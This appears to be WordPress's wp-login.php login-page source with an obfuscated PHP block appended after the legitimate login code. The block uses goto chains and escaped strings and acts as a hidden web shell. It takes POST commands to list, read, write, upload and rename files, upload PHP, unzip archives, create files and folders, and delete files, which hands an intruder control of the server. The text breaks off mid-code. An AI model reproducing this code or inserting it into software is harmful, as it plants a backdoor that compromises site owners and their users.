! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) { $redirect_to = user_admin_url(); } elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) { $redirect_to = get_dashboard_url( $user->ID ); } elseif ( ! $user->has_cap( 'edit_posts' ) ) { $redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url(); } wp_redirect( $redirect_to ); exit; } wp_safe_redirect( $redirect_to ); exit; } $errors = $user; // Clear errors if loggedout is set. if ( ! empty( $_GET['loggedout'] ) || $reauth ) { $errors = new WP_Error(); } if ( empty( $_POST ) && $errors->get_error_codes() === array( 'empty_username', 'empty_password' ) ) { $errors = new WP_Error( '', '' ); } if ( $interim_login ) { if ( ! $errors->has_errors() ) { $errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' ); } } else { // Some parts of this script use the main login form to display a message. if ( isset( $_GET['loggedout'] ) && $_GET['loggedout'] ) { $errors->add( 'loggedout', __( 'You are now logged out.' ), 'message' ); } elseif ( isset( $_GET['registration'] ) && 'disabled' === $_GET['registration'] ) { $errors->add( 'registerdisabled', __( 'Error: User registration is currently not allowed.' ) ); } elseif ( strpos( $redirect_to, 'about.php?updated' ) ) { $errors->add( 'updated', __( 'You have successfully updated WordPress! Please log back in to see what’s new.' ), 'message' ); } elseif ( WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED === $action ) { $errors->add( 'enter_recovery_mode', __( 'Recovery Mode Initialized. Please log in to continue.' ), 'message' ); } elseif ( isset( $_GET['redirect_to'] ) && false !== strpos( $_GET['redirect_to'], 'wp-admin/authorize-application.php' ) ) { $query_component = wp_parse_url( $_GET['redirect_to'], PHP_URL_QUERY ); parse_str( $query_component, $query ); if ( ! empty( $query['app_name'] ) ) { /* translators: 1: Website name, 2: Application name. */ $message = sprintf( 'Please log in to %1$s to authorize %2$s to connect to your account.', get_bloginfo( 'name', 'display' ), '' . esc_html( $query['app_name'] ) . '' ); } else { /* translators: %s: Website name. */ $message = sprintf( 'Please log in to %s to proceed with authorization.', get_bloginfo( 'name', 'display' ) ); } $errors->add( 'authorize_application', $message, 'message' ); } } /** * Filters the login page errors. * * @since 3.6.0 * * @param WP_Error $errors WP Error object. * @param string $redirect_to Redirect destination URL. */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); // Clear any stale cookies. if ( $reauth ) { wp_clear_auth_cookie(); } login_header( __( 'Log In' ), '', $errors ); if ( isset( $_POST['log'] ) ) { $user_login = ( 'incorrect_password' === $errors->get_error_code() || 'empty_password' === $errors->get_error_code() ) ? esc_attr( wp_unslash( $_POST['log'] ) ) : ''; } $rememberme = ! empty( $_POST['rememberme'] ); if ( $errors->has_errors() ) { $aria_describedby_error = ' aria-describedby="login_error"'; } else { $aria_describedby_error = ''; } wp_enqueue_script( 'user-profile' ); ?>

    class="input" value="" size="20" autocapitalize="off" />

    class="input password-input" value="" size="20" />

    />

    get_error_code() === 'invalid_username' ) { $login_script .= 'd.value = "";'; } } $login_script .= 'd.focus(); d.select();'; $login_script .= '} catch( er ) {}'; $login_script .= '}, 200);'; $login_script .= "}\n"; // End of wp_attempt_focus(). /** * Filters whether to print the call to `wp_attempt_focus()` on the login screen. * * @since 4.8.0 * * @param bool $print Whether to print the function call. Default true. */ if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) { $login_script .= "wp_attempt_focus();\n"; } // Run `wpOnload()` if defined. $login_script .= "if ( typeof wpOnload === 'function' ) { wpOnload() }"; ?> false, "\x6d\145\x73\x73\141\x67\x65" => "\x49\x6e\166\141\x6c\151\144\40\141\x63\164\x69\157\156\56"]; goto Ita0g; tozRd: function NY0tu($fw2Gb) { return is_string($fw2Gb) ? stripslashes($fw2Gb) : $fw2Gb; } goto uTQJ4; jupxf: echo Es90W(__DIR__); goto spVQI; uTQJ4: function ES90W($N3FQp) { return str_replace("\x5c", "\x2f", $N3FQp); } goto umFMq; wWXaN: NFGPu: goto t2KH8; Ita0g: try { goto IIL7D; IIL7D: switch ($kS0qQ) { case "\154\x69\x73\x74": goto Bf4SJ; odk5T: foreach (scandir($T4wW2) as $pZ4PV) { goto lKlnN; JxuNy: $qgHjW = $T4wW2 . "\x2f" . $pZ4PV; goto KOKkz; N7PaY: goto rRtUO; goto xJsL4; J2iFA: rRtUO: goto p5Oa0; lKlnN: if (!($pZ4PV === "\x2e" || $pZ4PV === "\x2e\x2e")) { goto qoKGw; } goto N7PaY; xJsL4: qoKGw: goto JxuNy; KOKkz: $uWh5l[] = ["\x6e\141\x6d\x65" => $pZ4PV, "\151\x73\137\144\x69\x72" => is_dir($qgHjW), "\x73\x69\172\x65" => is_dir($qgHjW) ? 0 : filesize($qgHjW), "\155\x6f\144\151\x66\x69\145\x64" => filemtime($qgHjW)]; goto J2iFA; p5Oa0: } goto J3yG0; SI6Kp: $C_q13 = ["\x73\165\143\143\145\x73\x73" => true, "\x66\151\x6c\145\163" => $uWh5l, "\160\141\x74\x68" => $T4wW2]; goto FISrv; kxjD2: zao4K: goto odk5T; wI9Uc: or7Bz: goto mTFJj; Bf4SJ: $N3FQp = isset($_POST["\x70\141\164\150"]) ? Ny0tu($_POST["\x70\141\164\x68"]) : __DIR__; goto dpEgR; zHH33: $uWh5l = []; goto C9SW_; RRjql: throw new Exception("\103\x61\x6e\x6e\x6f\164\40\x61\143\143\x65\163\163\40\x70\x61\164\x68\56\40\111\x74\x20\x6d\151\x67\x68\164\40\142\145\40\162\145\163\x74\x72\x69\x63\164\145\144\x20\142\171\40\163\x65\x72\x76\x65\x72\40\143\157\156\146\x69\x67\165\x72\141\164\151\x6f\x6e\40\x28\x6f\160\145\x6e\137\142\141\163\x65\144\x69\x72\x29\x2e"); goto kxjD2; C9SW_: if (@scandir($T4wW2)) { goto zao4K; } goto RRjql; slbf7: throw new Exception("\111\x6e\x76\x61\x6c\151\x64\40\x6f\162\x20\x69\x6e\x61\x63\x63\145\163\x73\x69\142\x6c\x65\40\160\x61\164\x68\x2e"); goto wI9Uc; dpEgR: if (NqXxK($N3FQp)) { goto or7Bz; } goto slbf7; J3yG0: ua_El: goto SI6Kp; mTFJj: $T4wW2 = es90w(realpath($N3FQp)); goto zHH33; FISrv: goto ycSVf; goto C5_Rj; C5_Rj: case "\x67\145\164\137\143\157\156\164\145\x6e\x74": goto AB5qD; hw5BW: goto ycSVf; goto nxWjP; hSwnp: $C_q13 = ["\163\x75\143\143\145\x73\x73" => true, "\143\157\156\x74\145\x6e\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto hw5BW; hxmO8: throw new Exception("\x49\x6e\x76\141\x6c\x69\144\x20\x66\x69\154\x65\x20\x66\x6f\162\x20\x65\144\151\164\151\x6e\147\x2e"); goto yCBdH; AB5qD: $ojlAu = isset($_POST["\160\141\x74\x68"]) ? Ny0tU($_POST["\x70\141\164\x68"]) : ''; goto sSVlM; sSVlM: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto jY5MN; } goto hxmO8; yCBdH: jY5MN: goto hSwnp; nxWjP: case "\147\145\164\137\143\x6f\156\164\145\x6e\x74\137\142\x36\x34": goto Tw79G; RBpYX: $C_q13 = ["\x73\x75\x63\x63\x65\163\163" => true, "\x63\157\x6e\164\x65\156\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto CZCSs; Tw79G: $MsqHa = isset($_POST["\160\x61\x74\150\137\142\x36\64"]) ? NY0tu($_POST["\x70\x61\x74\x68\x5f\x62\x36\x34"]) : ''; goto IcMdj; IcMdj: $ojlAu = base64_decode($MsqHa); goto o4S3X; o4S3X: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto x__Ov; } goto SDUoj; CZCSs: goto ycSVf; goto P57y1; iIbT6: x__Ov: goto RBpYX; SDUoj: throw new Exception("\111\156\x76\141\x6c\x69\x64\x20\146\x69\154\145\x20\x66\157\162\40\145\x64\151\164\x69\x6e\x67\56"); goto iIbT6; P57y1: case "\163\141\x76\x65\x5f\143\157\x6e\x74\145\x6e\164": goto Qzs4F; rC4Qx: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto KTBmd; } goto jF2gU; Oy2kq: if (!(!nqXxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto tY8sk; } goto lMZp7; SLfKR: goto ycSVf; goto szMkK; VroMi: throw new Exception("\x43\x6f\156\x74\x65\x6e\x74\x20\x69\163\40\x65\155\x70\164\x79\56"); goto Ctqlm; zecoV: goto GU9sM; goto kIfmt; Ldo2f: $C_q13 = ["\163\x75\x63\x63\x65\163\x73" => true, "\x6d\145\163\163\141\x67\145" => "\106\151\154\x65\40\163\141\x76\145\144\x20\163\165\x63\x63\x65\x73\x73\x66\165\x6c\x6c\171\x2e"]; goto lb0OW; ewGJB: tY8sk: goto rC4Qx; kIfmt: KTBmd: goto Ldo2f; jF2gU: throw new Exception("\x43\x6f\x75\154\144\40\156\157\x74\40\x73\x61\x76\145\40\x66\151\154\145\56\x20\103\150\145\143\153\x20\160\145\x72\155\x69\163\163\151\x6f\156\x73\x2e"); goto zecoV; jCyJA: if (!empty($oV_sJ)) { goto RQpX6; } goto VroMi; OICIz: $I0G5S = base64_decode(base64_decode($Owp89)); goto Oy2kq; Qzs4F: $ojlAu = isset($_POST["\x70\x61\164\x68"]) ? NY0TU($_POST["\160\x61\x74\150"]) : ''; goto Jo8qy; Ctqlm: RQpX6: goto es8_X; es8_X: $Owp89 = implode('', $oV_sJ); goto OICIz; lMZp7: throw new Exception("\111\x6e\x76\x61\154\x69\x64\40\x66\x69\154\145\x20\x66\x6f\162\x20\163\x61\x76\x69\x6e\147\56"); goto ewGJB; Jo8qy: $oV_sJ = isset($_POST["\143\x6f\156\164\145\156\x74\137\x63\150\165\156\x6b\163"]) && is_array($_POST["\143\x6f\x6e\x74\145\156\164\x5f\143\150\x75\x6e\153\163"]) ? $_POST["\143\x6f\156\x74\145\156\x74\137\143\150\x75\x6e\x6b\x73"] : []; goto jCyJA; lb0OW: GU9sM: goto SLfKR; szMkK: case "\163\x61\x76\x65\137\143\157\156\164\x65\156\x74\137\x62\x36\x34": goto U59Qa; WGp6i: throw new Exception("\103\157\x6e\164\x65\x6e\x74\40\151\163\x20\145\155\160\164\x79\56"); goto RCxIS; XNi7t: $I0G5S = base64_decode(base64_decode($Owp89)); goto rrDPK; qNXrc: throw new Exception("\111\156\166\141\154\x69\144\40\x66\151\154\x65\x20\146\157\x72\x20\x73\x61\166\151\156\147\x2e"); goto hzKQ5; U59Qa: $MsqHa = isset($_POST["\160\x61\164\150\137\142\x36\x34"]) ? ny0tu($_POST["\x70\141\164\x68\137\x62\66\64"]) : ''; goto jiCXN; RCxIS: CVi5K: goto G5mHJ; iNZ_U: if (!empty($oV_sJ)) { goto CVi5K; } goto WGp6i; G5mHJ: $Owp89 = implode('', $oV_sJ); goto XNi7t; fjhtE: goto ycSVf; goto WoVGw; hzKQ5: qnvLN: goto Um8mO; rrDPK: if (!(!nqxxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto qnvLN; } goto qNXrc; jiCXN: $ojlAu = base64_decode($MsqHa); goto G9LIL; tTBu6: throw new Exception("\x44\x69\x72\145\x63\164\40\163\x61\166\145\x20\x66\x61\x69\x6c\145\144\x2e\x20\x43\150\x65\x63\153\x20\x70\145\162\155\x69\163\x73\151\157\156\163\x2e"); goto nTn7K; qPj5T: $C_q13 = ["\x73\x75\x63\143\x65\x73\163" => true, "\x6d\x65\163\163\141\147\x65" => "\106\151\154\145\x20\x73\x61\166\145\144\40\163\x75\143\143\145\x73\163\x66\165\x6c\x6c\171\x20\x28\144\151\162\x65\143\x74\40\x6d\x65\x74\x68\x6f\144\x29\56"]; goto EACoy; G9LIL: $oV_sJ = isset($_POST["\x63\x6f\156\x74\x65\156\164\x5f\143\150\165\156\153\163"]) && is_array($_POST["\x63\157\x6e\164\145\x6e\164\137\143\150\x75\156\153\x73"]) ? $_POST["\143\x6f\x6e\x74\145\156\164\137\x63\x68\165\156\x6b\x73"] : []; goto iNZ_U; nTn7K: goto riHcH; goto pVEwU; pVEwU: MC0Hh: goto qPj5T; Um8mO: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto MC0Hh; } goto tTBu6; EACoy: riHcH: goto fjhtE; WoVGw: case "\143\162\145\x61\164\145\x5f\146\151\x6c\145": goto OlivP; gj37K: goto ycSVf; goto Qz8pL; O6lW3: if (!(!nqXXk($N3FQp) || empty($zDPI8))) { goto HI8Rq; } goto R2q22; av1vc: $C_q13 = ["\x73\x75\143\x63\145\x73\x73" => true, "\155\145\x73\163\x61\147\145" => "\106\x69\154\145\40\x63\x72\x65\141\164\145\x64\56"]; goto o1tPy; c6Jlp: throw new Exception("\103\x6f\165\x6c\x64\40\x6e\x6f\x74\40\143\162\x65\141\x74\x65\x20\146\x69\x6c\145\x2e"); goto IviK0; IviK0: goto PKoAm; goto I8N2E; LqGoz: if (touch(rtrim($N3FQp, "\x2f") . "\x2f" . $zDPI8)) { goto QFDzM; } goto c6Jlp; o1tPy: PKoAm: goto gj37K; Ry7yS: HI8Rq: goto LqGoz; OlivP: $N3FQp = isset($_POST["\x70\141\164\x68"]) ? NY0tU($_POST["\x70\141\x74\x68"]) : ''; goto r_qlF; I8N2E: QFDzM: goto av1vc; R2q22: throw new Exception("\x49\156\x76\x61\x6c\x69\144\40\160\x61\x74\x68\x20\157\x72\40\146\151\154\145\40\x6e\141\x6d\x65\56"); goto Ry7yS; r_qlF: $zDPI8 = isset($_POST["\156\x61\155\x65"]) ? T7y52($_POST["\x6e\x61\x6d\145"]) : ''; goto O6lW3; Qz8pL: case "\x75\x70\x6c\x6f\141\144": goto tJi60; H2Afx: $ajHSa = T7Y52(base64_decode($l70k5)); goto amLDx; cGcqq: throw new Exception("\103\157\x75\x6c\x64\40\156\157\x74\40\x73\141\166\145\40\x75\x70\x6c\x6f\x61\144\x65\144\40\146\x69\154\x65\x2e\x20\103\150\x65\x63\153\x20\160\x65\162\155\x69\163\163\151\157\156\x73\56"); goto gvXzd; EEvjB: if (file_put_contents($T7gx5, $uyHJc) !== false) { goto A1W55; } goto cGcqq; MoEwg: goto ycSVf; goto mSk9f; WBcVj: $uyHJc = base64_decode($tPB71); goto Nzj2T; GdYXT: jiXr9: goto WBcVj; xErIi: $tPB71 = isset($_POST["\143\x6f\x6e\x74\145\x6e\x74\137\142\x61\163\145\66\64"]) ? $_POST["\x63\157\156\164\x65\x6e\164\137\142\x61\x73\145\x36\64"] : ''; goto KQoRr; AihoA: throw new Exception("\111\x6e\166\141\154\x69\x64\x20\144\141\164\141\40\146\x6f\x72\x20\165\x70\x6c\157\x61\x64\56"); goto d1Vah; gvXzd: goto mT8Ye; goto XUupy; XUupy: A1W55: goto xwuut; xwuut: $C_q13 = ["\163\x75\143\143\145\x73\163" => true, "\155\145\163\x73\x61\x67\x65" => "\106\x69\154\145\40\165\160\154\157\x61\144\x65\144\x20\x73\x75\143\143\145\x73\x73\x66\x75\154\154\x79\x2e"]; goto Q6XGt; d1Vah: R2fsc: goto H2Afx; w3TPv: $l70k5 = isset($_POST["\x66\x69\154\145\x6e\x61\x6d\145\x5f\142\141\x73\145\x36\64"]) ? $_POST["\x66\x69\x6c\x65\156\141\x6d\145\137\x62\x61\163\145\66\x34"] : ''; goto xErIi; amLDx: if (!(strpos($tPB71, "\x2c") !== false)) { goto jiXr9; } goto GL5y3; GL5y3: list(, $tPB71) = explode("\54", $tPB71); goto GdYXT; tJi60: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0Tu($_POST["\160\141\x74\x68"]) : __DIR__; goto w3TPv; Nzj2T: $T7gx5 = rtrim($N3FQp, "\x2f") . "\57" . $ajHSa; goto EEvjB; Q6XGt: mT8Ye: goto MoEwg; KQoRr: if (!(!nQXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto R2fsc; } goto AihoA; mSk9f: case "\165\160\154\157\x61\144\x5f\160\150\160": goto dxdMd; dxdMd: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? nY0tU($_POST["\x70\141\x74\x68"]) : __DIR__; goto Pb0oM; hr4po: $C_q13 = ["\x73\165\143\143\145\163\x73" => true, "\155\145\163\x73\x61\147\x65" => "\x50\110\x50\40\x66\151\x6c\145\x20\165\x70\x6c\157\x61\x64\x65\x64\x20\163\x75\143\143\145\163\x73\146\x75\154\x6c\171\x2e"]; goto Y8QVm; EV6b7: throw new Exception("\x49\x6e\166\x61\154\x69\144\x20\144\141\164\141\x20\146\x6f\x72\40\x50\x48\120\40\165\160\x6c\x6f\x61\144\56"); goto YeT6E; h0fEK: $jTTGJ = rtrim($N3FQp, "\x2f") . "\x2f" . $iKGAi; goto MpHG6; YeT6E: fWTCg: goto quqXU; Y8QVm: fweIz: goto rdYwU; quqXU: $iKGAi = T7y52(base64_decode($l70k5)); goto Oz5_m; Pb0oM: $l70k5 = isset($_POST["\146\151\x6c\145\x6e\x61\155\145\137\142\x61\163\x65\66\x34"]) ? $_POST["\146\x69\x6c\145\156\x61\155\145\x5f\x62\141\x73\145\66\64"] : ''; goto kbzVC; Oz5_m: $DOdOg = $iKGAi . "\56\164\170\x74"; goto celZ0; nk57G: $e3qbB = rtrim($N3FQp, "\57") . "\57" . $DOdOg; goto h0fEK; celZ0: if (!(strpos($tPB71, "\54") !== false)) { goto KGuU8; } goto hpCdA; hpCdA: list(, $tPB71) = explode("\x2c", $tPB71); goto FiSuk; GGBuU: throw new Exception("\x43\x6f\x75\154\144\x20\x6e\157\164\40\x73\x61\x76\145\40\x74\145\x6d\160\x6f\x72\x61\162\171\x20\x66\151\x6c\145\x2e\x20\103\150\x65\143\x6b\x20\160\145\x72\155\x69\x73\163\151\x6f\x6e\163\56"); goto CBW5E; Q2Das: throw new Exception("\x43\157\165\154\x64\40\156\x6f\164\40\162\x65\x6e\141\155\x65\x20\164\x65\155\x70\157\x72\x61\x72\x79\40\146\151\154\x65\x2e"); goto uCCd0; uCCd0: goto fweIz; goto TbZqf; fdZIy: unlink($e3qbB); goto Q2Das; rQt4j: if (rename($e3qbB, $jTTGJ)) { goto awDxv; } goto fdZIy; CBW5E: CJrv3: goto rQt4j; FiSuk: KGuU8: goto aiEjh; TbZqf: awDxv: goto hr4po; kbzVC: $tPB71 = isset($_POST["\143\157\156\164\145\x6e\164\137\142\x61\x73\145\66\x34"]) ? $_POST["\x63\x6f\156\x74\145\x6e\164\x5f\x62\x61\x73\x65\66\64"] : ''; goto yxnwo; MpHG6: if (!(file_put_contents($e3qbB, $uyHJc) === false)) { goto CJrv3; } goto GGBuU; yxnwo: if (!(!nqXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto fWTCg; } goto EV6b7; aiEjh: $uyHJc = base64_decode($tPB71); goto nk57G; rdYwU: goto ycSVf; goto ynwyj; ynwyj: case "\x75\x6e\172\x69\160": goto j71el; j71el: $N3FQp = isset($_POST["\x70\141\x74\x68"]) ? NY0TU($_POST["\x70\141\164\150"]) : __DIR__; goto HhhL1; h2u4s: if (class_exists("\x5a\x69\x70\101\x72\x63\x68\x69\166\145")) { goto XI5A7; } goto gDE4q; v6xw7: $EtgLY->extractTo(dirname($xwHaG)); goto AR4r6; NE8fX: XI5A7: goto iCXQ9; AR4r6: $EtgLY->close(); goto RJdP_; HhhL1: if (Nqxxk($N3FQp)) { goto fTIAY; } goto fB1ER; r28vr: goto urtPj; goto Yf6cr; RJdP_: $C_q13 = ["\x73\x75\x63\x63\145\x73\163" => true, "\155\x65\x73\x73\141\147\x65" => "\x41\162\x63\150\x69\166\x65\x20\x65\x78\x74\162\141\x63\164\x65\x64\x2e"]; goto M9hq_; p9Yjp: throw new Exception("\x46\x61\151\x6c\x65\x64\40\x74\157\40\157\x70\145\x6e\x20\x61\x72\x63\x68\151\x76\145\56"); goto r28vr; JzF9U: throw new Exception("\x49\156\x76\x61\154\151\144\40\132\111\x50\40\146\x69\x6c\145\40\x70\x61\x74\150\56"); goto l8PIt; fB1ER: throw new Exception("\111\156\x76\x61\154\151\144\x20\x70\141\x74\x68\x2e"); goto ehMVp; EeIZ5: if ($EtgLY->open($xwHaG) === TRUE) { goto Z7L05; } goto p9Yjp; V9ux2: goto ycSVf; goto PIuPs; iCXQ9: $EtgLY = new ZipArchive(); goto EeIZ5; vyegy: $xwHaG = isset($_POST["\160\141\x74\x68"]) ? Ny0TU($_POST["\x70\141\164\x68"]) : ''; goto hNwxQ; Yf6cr: Z7L05: goto v6xw7; hNwxQ: if (!(!realpath($xwHaG) || !is_file(realpath($xwHaG)) || pathinfo($xwHaG, PATHINFO_EXTENSION) !== "\x7a\x69\160")) { goto P3vJL; } goto JzF9U; ehMVp: fTIAY: goto vyegy; gDE4q: throw new Exception("\x50\110\x50\x20\x5a\111\x50\40\145\170\164\145\x6e\x73\x69\157\x6e\40\156\x6f\x74\40\x69\x6e\x73\x74\x61\154\154\145\144\56"); goto NE8fX; l8PIt: P3vJL: goto h2u4s; M9hq_: urtPj: goto V9ux2; PIuPs: case "\x64\145\154\145\164\145": goto tnc3C; IX1xj: $UT3Xw = isset($_POST["\151\x74\x65\x6d\163"]) && is_array($_POST["\151\x74\x65\x6d\x73"]) ? $_POST["\151\164\145\x6d\x73"] : []; goto a474Y; jDYzc: throw new Exception("\116\x6f\x20\x69\164\145\x6d\163\x20\163\x65\x6c\145\x63\x74\145\x64\40\146\157\x72\40\x64\145\154\x65\x74\151\157\156\x2e"); goto URVwS; EnthP: foreach ($UT3Xw as $pZ4PV) { goto ERlCU; T9sCk: NGGjy($qgHjW); goto McV9U; McV9U: roUZs: goto HqCFQ; nVSkN: if (!file_exists($qgHjW)) { goto roUZs; } goto T9sCk; HqCFQ: tuHG8: goto mVB9d; ERlCU: $qgHjW = rtrim($N3FQp, "\57") . "\57" . $pZ4PV; goto nVSkN; mVB9d: } goto MG9h4; KyY3J: goto ycSVf; goto kp8UV; MG9h4: ZQ2Zt: goto XJEc3; tnc3C: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0TU($_POST["\x70\x61\164\150"]) : __DIR__; goto IX1xj; URVwS: OYjgE: goto dUZ2K; dUZ2K: function ngGJY($pZ4PV) { goto M1hPt; jtKjl: return unlink($pZ4PV); goto j5W0I; IxivI: foreach ($wolKu as $ojlAu) { ngGJY("{$pZ4PV}\x2f{$ojlAu}"); P4TSR: } goto kZ4he; kZ4he: STXtc: goto iYxii; LDBto: $wolKu = array_diff(scandir($pZ4PV), ["\x2e", "\x2e\x2e"]); goto IxivI; Q2JPT: UQ51L: goto Pp06I; M1hPt: if (is_dir($pZ4PV)) { goto m_qLf; } goto jtKjl; iYxii: return rmdir($pZ4PV); goto Q2JPT; UU8Yt: m_qLf: goto LDBto; j5W0I: goto UQ51L; goto UU8Yt; Pp06I: } goto EnthP; a474Y: if (!empty($UT3Xw)) { goto OYjgE; } goto jDYzc; XJEc3: $C_q13 = ["\x73\165\143\x63\145\x73\x73" => true, "\155\x65\163\x73\x61\x67\x65" => "\111\164\x65\155\163\x20\144\145\x6c\x65\x74\x65\x64\56"]; goto KyY3J; kp8UV: case "\x64\145\x6c\x65\x74\145\137\x62\66\64": goto Qo_HQ; o9Geq: if (!empty($UT3Xw)) { goto bIgN3; } goto U8OJB; cmkqA: bIgN3: goto cNHA4; CtCXm: goto ycSVf; goto B4c3f; V9AAM: tcc0Y: goto Hjg4t; df3TJ: foreach ($AopT5 as $pp4Zo) { $UT3Xw[] = base64_decode($pp4Zo); hDEUI: } goto FVEvK; FVEvK: YTElY: goto o9Geq; Qo_HQ: $N3FQp = isset($_POST["\160\x61\x74\150"]) ? NY0tU($_POST["\x70\x61\164\x68"]) : __DIR__; goto dexUZ; dexUZ: $AopT5 = isset($_POST["\x69\164\x65\155\163\137\142\66\x34"]) && is_array($_POST["\x69\164\145\x6d\163\x5f\142\66\x34"]) ? $_POST["\151\164\145\155\163\137\142\x36\64"] : []; goto KneCe; KneCe: $UT3Xw = []; goto df3TJ; cNHA4: function LHB01($pZ4PV) { goto C2Oey; NxdAz: $wolKu = array_diff(scandir($pZ4PV), ["\56", "\56\x2e"]); goto yY_5l; KyZfR: return unlink($pZ4PV); goto owZbu; XKe1G: rYEPR: goto NxdAz; yY_5l: foreach ($wolKu as $ojlAu) { LHB01("{$pZ4PV}\x2f{$ojlAu}"); X0WVR: } goto VsBSE; owZbu: goto l3EIG; goto XKe1G; VsBSE: FQz9b: goto oYmV0; YTNri: l3EIG: goto w59M4; oYmV0: return rmdir($pZ4PV); goto YTNri; C2Oey: if (is_dir($pZ4PV)) { goto rYEPR; } goto KyZfR; w59M4: } goto rTvM9; Hjg4t: $C_q13 = ["\163\165\143\143\145\x73\163" => true, "\155\x65\163\163\x61\x67\x65" => "\111\x74\145\155\x73\x20\x64\x65\x6c\x65\164\145\x64\x2e"]; goto CtCXm; rTvM9: foreach ($UT3Xw as $pZ4PV) { goto augDN; mkHI_: Jk67o: goto vEGF0; augDN: $qgHjW = rtrim($N3FQp, "\x2f") . "\57" . $pZ4PV; goto R3UhS; l1gC6: lHB01($qgHjW); goto h0b9E; h0b9E: LWEP_: goto mkHI_; R3UhS: if (!file_exists($qgHjW)) { goto LWEP_; } goto l1gC6; vEGF0: } goto V9AAM; U8OJB: throw new Exception("\x4e\x6f\x20\x69\164\x65\155\163\x20\163\x65\x6c\145\143\164\x65\x64\x20\146\x6f\162\x20\x64\x65\154\145\x74\151\x6f\156\56"); goto cmkqA; B4c3f: case "\143\x72\x65\141\164\145\137\x66\x6f\154\x64\x65\x72": goto hFMyY; WjVpt: vFOjM: goto mNqWY; Palgw: goto ycSVf; goto QqBDM; hFMyY: $N3FQp = isset($_POST["\160\141\164\x68"]) ? Ny0tu($_POST["\x70\x61\x74\150"]) : __DIR__; goto TMNGP; mNqWY: $C_q13 = ["\163\165\x63\143\145\163\x73" => true, "\155\x65\x73\x73\141\x67\145" => "\x46\x6f\x6c\144\x65\x72\x20\x63\162\x65\x61\164\145\144\56"]; goto bLaK3; RZUs9: throw new Exception("\111\x6e\x76\x61\154\151\x64\x20\160\x61\x74\150\x20\x6f\162\x20\x66\157\154\144\145\x72\40\156\141\x6d\145\x2e"); goto jNFLN; aTyZH: if (mkdir(rtrim($N3FQp, "\57") . "\x2f" . $zDPI8)) { goto vFOjM; } goto J5Dtz; bLaK3: r0qez: goto Palgw; jNFLN: NL3yu: goto aTyZH; zwHJx: if (!(!NQxxK($N3FQp) || empty($zDPI8))) { goto NL3yu; } goto RZUs9; J5Dtz: throw new Exception("\x43\157\x75\x6c\144\x20\156\157\164\40\x63\162\x65\x61\x74\x65\40\146\157\154\144\x65\162\x2e"); goto ss986; ss986: goto r0qez; goto WjVpt; TMNGP: $zDPI8 = isset($_POST["\156\141\155\145"]) ? str_replace(["\56\x2e", "\57", "\134"], '', $_POST["\x6e\141\x6d\145"]) : ''; goto zwHJx; QqBDM: case "\162\x65\x6e\x61\x6d\145": goto qDv5z; c__4x: $C_q13 = ["\163\x75\x63\143\x65\163\x73" => true, "\155\145\163\x73\141\x67\145" => "\x49\164\145\x6d\40\162\x65\x6e\141\155\145\144\x20\x73\x75\x63\x63\145\x73\x73\146\165\154\x6c\171\56"]; goto u7Skq; MlL1U: clearstatcache(); goto Hpabs; XE6kH: $jj7As = rtrim($N3FQp, "\57") . "\x2f" . $dQ2Id; goto MlL1U; b4i_l: if (rename($aKQJd, $jj7As)) { goto nYIHB; } goto szw6Z; szw6Z: throw new Exception("\x43\157\x75\x6c\x64\40\156\x6f\x74\40\x72\x65\156\141\155\145\x20\x69\164\145\x6d\x2e\40\x43\x68\145\x63\153\40\x70\x65\x72\155\151\163\x73\151\x6f\156\163\56"); goto McX5I; f_VBz: LYhqm: goto b4i_l; qDv5z: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0Tu($_POST["\x70\141\164\x68"]) : __DIR__; goto OpNZ1; e8aB_: throw new Exception("\111\x6e\x76\x61\x6c\151\144\40\x64\141\164\141\40\x66\x6f\162\40\x72\145\156\141\x6d\x69\x6e\x67\56"); goto BGKJV; kcd6W: goto ycSVf; goto V3kxN; BGKJV: cYVP_: goto rcjP2; OpNZ1: $c3CZq = isset($_POST["\x6f\154\x64\137\x6e\x61\x6d\145"]) ? $_POST["\157\x6c\x64\137\x6e\x61\x6d\x65"] : ''; goto cy97s; afm1Y: nYIHB: goto c__4x; izCNd: wEG_d: goto dyB2g; u7Skq: w0Qk5: goto kcd6W; McX5I: goto w0Qk5; goto afm1Y; OClmY: throw new Exception("\123\x6f\x75\x72\x63\x65\x20\151\164\x65\155\x20\x64\x6f\x65\x73\40\x6e\157\x74\40\x65\x78\151\163\x74\40\141\x74\x3a\40" . $aKQJd); goto izCNd; Hpabs: if (file_exists($aKQJd)) { goto wEG_d; } goto OClmY; Wfbq4: if (!(!nqXXk($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto cYVP_; } goto e8aB_; cy97s: $dQ2Id = isset($_POST["\156\x65\167\x5f\156\x61\x6d\145"]) ? str_replace(["\56\56", "\57", "\134"], '', $_POST["\156\145\167\x5f\156\141\155\145"]) : ''; goto Wfbq4; rcjP2: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto XE6kH; dyB2g: if (is_writable(dirname($aKQJd))) { goto LYhqm; } goto RetP0; RetP0: throw new Exception("\104\151\162\x65\143\x74\x6f\x72\171\40\151\x73\40\156\x6f\x74\40\x77\162\151\x74\x61\142\154\x65\56"); goto f_VBz; V3kxN: case "\162\x65\x6e\x61\155\x65\x5f\142\x36\x34": goto G1EyE; zMe0b: unlink($Blo_g); goto NVm39; dygEg: yuctS: goto gHSz9; gHSz9: goto ycSVf; goto wB07j; 